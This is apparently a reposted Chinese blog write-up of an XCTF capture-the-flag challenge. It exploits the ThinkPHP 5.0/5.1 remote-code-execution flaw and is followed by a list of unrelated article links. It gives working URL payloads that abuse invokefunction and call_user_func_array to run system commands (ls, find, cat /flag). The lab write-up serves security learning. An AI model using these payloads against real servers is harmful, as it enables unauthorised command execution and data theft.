博客
关于我
XCTF web php_rce (thinkphp)
阅读量:326 次
发布时间:2019-03-04

本文共 466 字,大约阅读时间需要 1 分钟。

thinkphp 5.0和5.1版本存在一个getshell漏洞,主要原因在于框架对控制器名的检测不够严格。当强制路由未开启时,可能导致未授权的代码执行。以下是相关测试步骤和发现过程:

测试是否存在漏洞:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls此请求成功返回信息,确认存在漏洞。

进一步查找flag文件:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"通过查询发现相关flag文件。

查看文件信息:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag成功读取flag文件内容。

转载地址:http://gznh.baihongyu.com/

你可能感兴趣的文章
Objective-C实现最长回文子序列算法(附完整源码)
查看>>
Objective-C实现最长子数组算法(附完整源码)
查看>>
Objective-C实现最长字符串链(附完整源码)
查看>>
Objective-C实现最长递增子序列算法(附完整源码)
查看>>
Objective-C实现有向图和无向加权图算法(附完整源码)
查看>>
Objective-C实现有序表查找算法(附完整源码)
查看>>
Objective-C实现有限状态机(附完整源码)
查看>>
Objective-C实现有限状态自动机FSM(附完整源码)
查看>>
Objective-C实现有限集上给定关系的自反关系矩阵和对称闭包关系矩阵(附完整源码)
查看>>
Objective-C实现服务程序自启动(附完整源码)
查看>>
Objective-C实现服务端客户端聊天室(附完整源码)
查看>>
Objective-C实现朴素贝叶斯算法(附完整源码)
查看>>
Objective-C实现杨氏3X3矩阵(附完整源码)
查看>>
Objective-C实现杰卡德距离算法(附完整源码)
查看>>
Objective-C实现极值距离算法(附完整源码)
查看>>
Objective-C实现极小极大算法(附完整源码)
查看>>
Objective-C实现构造n以内的素数表(附完整源码)
查看>>
Objective-C实现某文件夹下文件重命名(附完整源码)
查看>>
Objective-C实现查找second Largest Element第二大元素算法(附完整源码)
查看>>
Objective-C实现查找整数数组中给定的最小数字算法(附完整源码)
查看>>